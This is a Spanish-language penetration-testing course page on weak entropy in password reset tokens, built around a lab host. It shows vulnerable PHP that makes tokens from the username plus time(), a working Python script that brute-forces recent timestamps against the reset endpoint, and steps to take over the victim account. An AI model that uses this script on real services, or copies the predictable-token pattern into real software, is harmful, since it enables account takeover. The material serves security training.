XUT_ / COURSES / PENETRATION TESTER

Weak or Insufficient Entropy

Esta técnica cubrirá un escenario donde una generación de número random sufre de entropía pobre o insuficiente. Cuando esto pasa, los valores generados no son verdaderamente aleatorios y se vuelven vulnerables a ataques.

Por ejemplo, si una clave de encriptación se genera usando información de baja entropía, como timestamp, un atacante podría usar esa información predecible para reducir la complejidad de encontrar la clave. De forma similar, las fuentes de baja entropía, como relojes del sistema o inputs predecibles de usuarios, pueden llevar a aleatoriedad débil en aplicaciones.


Escenario Práctico

En este escenario, un atacante puede explotar la predictibilidad de la fuente de entropía para determinar los valores producidos por el generador de números random. Veremos cómo la baja entropía en un token puede acarrear vulnerabilidades. Usaremos una máquina hosteada en http://random.thm:8090/case/. También hay un servidor de email configurado en http://random.thm:8090/mail/ donde el usuario recibirá emails para resetear contraseñas o iniciar sesión con un link "mágico".

La página web ofrece una funcionalidad de login y una opción para los usuarios que han olvidado su contraseña para pedir un link de reset. En este caso, el usuario con el nombre de usuario victim, ha olvidado su contraseña, y nuestro objetivo es entender cómo los tokens de reseteo de contraseñas son generados y usar ese conocimiento para tomar la cuenta de los usuarios. Sigue estas instrucciones para observar el problema primero y entender por qué este acercamiento es inseguro.

  • Comienza visitando el sitio en http://random.thm:8090/case/forget_password.php Introduce el nombre victim y haz click en Send Reset Link. Weak or Insufficient Entropy
  • Ahora verás un mensaje indicando que el email contiene un link de reseteo de contraseña ha sido enviado. Weak or Insufficient Entropy
  • Vamos a ver qué pasa del lado del servidor para producir este token. Debajo está el código responsable de generar este token:
php
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");

$stmt->execute([':username' => $user_id]);

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
	$token = $user_id . time();
		$update = $db->prepare("UPDATE users SET reset_token = :token WHERE username = :username");
  • Este token es una simple concatenación del nombre de usuario (en este caso victim) y el timestamp actual producido por la función time().
  • Abre la bandeja de entrada del email iniciando sesión con victim@mail.random.thm y la contraseña Testing@123. Verás un email de reset de contraseña como este: Weak or Insufficient Entropy
  • Puede que parezca un método conveniente para generar tokens únicos por cada petición de cambio de contraseña. Sin embargo, introduce un problema de seguridad.

Explotación

  • Un atacante puede explotar la vulnerabilidad de falta de entropía en el token de reseteo visitando el siguiente link de reseteo: http://random.thm:8090/case/reset_password.php?token={Username}{timestamp_of_token_generation}.
  • Como el token es generado concatenando el nombre de usuario con el resultado de la función time(), el atacante conoce que el valor time() representa el timestamp cuando el link de reseteo fue creado. Con este conocimiento, el atacante puede realizar ataques de fuerza bruta para adivinar el timestamp con valores cercanos.
  • Debajo tienes un script de Python que acepta un argumento para el username y otro para el timestamp. En esta página puedes obtener tu Unix Timestamp.
  • Además, puedes ajustar el rango de tiempo con el que probar cambiando el -300 (-5 minutos) por cualquier otro valor.
python
import requests
import sys

# Function to brute force the reset token
def brute_force_token(username, start_timestamp):
    url = "http://random.thm:8090/case/reset_password.php"
    
    # Try tokens within a range of -5 minutes
    for i in range(-300, 0):
        current_timestamp = start_timestamp + i
        token = f"{username}{current_timestamp}"
        params = {'token': token}
        
        response = requests.get(url, params=params)
        
        # Check if the token is valid
        if "Invalid or expired token." not in response.text:
            print(f"Correct token identified: {token}")
            return token
        else:
            print(f"Tried token: {token} (Invalid)")
    
    print("No valid token found in the given range.")
    return None

if len(sys.argv) != 3:
    print("Usage: python exploit.py <username> <unix_timestamp>")
    sys.exit(1)

username = sys.argv[1]
start_timestamp = int(sys.argv[2])

brute_force_token(username, start_timestamp)
  • Comienza el ataque.
  • Una vez verificado el token correcto, puedes visitar la URL http://random.thm:8090/case/reset_password.php?token=victim{timestamp_of_token_generation} y actualizar la contraseña. Weak or Insufficient Entropy

¿Por qué es Débil el Token?

  • Entropía Débil en la Generación de Tokens: En este caso, el sistema confía en fuentes de baja entropía (username y timestamp), los cuales hacen el token predecible. Los tokens de alta entropía están generados usando generadores de números random seguros (como random_bytes()).
  • Espacio de Búsqueda Pequeño: Un espacio de búsqueda se refiere al número total de posibles valores del token. En este caso, debido a que la función time() se actualiza cada segundo, el espacio para hacerle fuerza bruta al token es muy pequeño. Un atacante podría simplemente adivinar todos los timestamps posibles en un pequeño rango.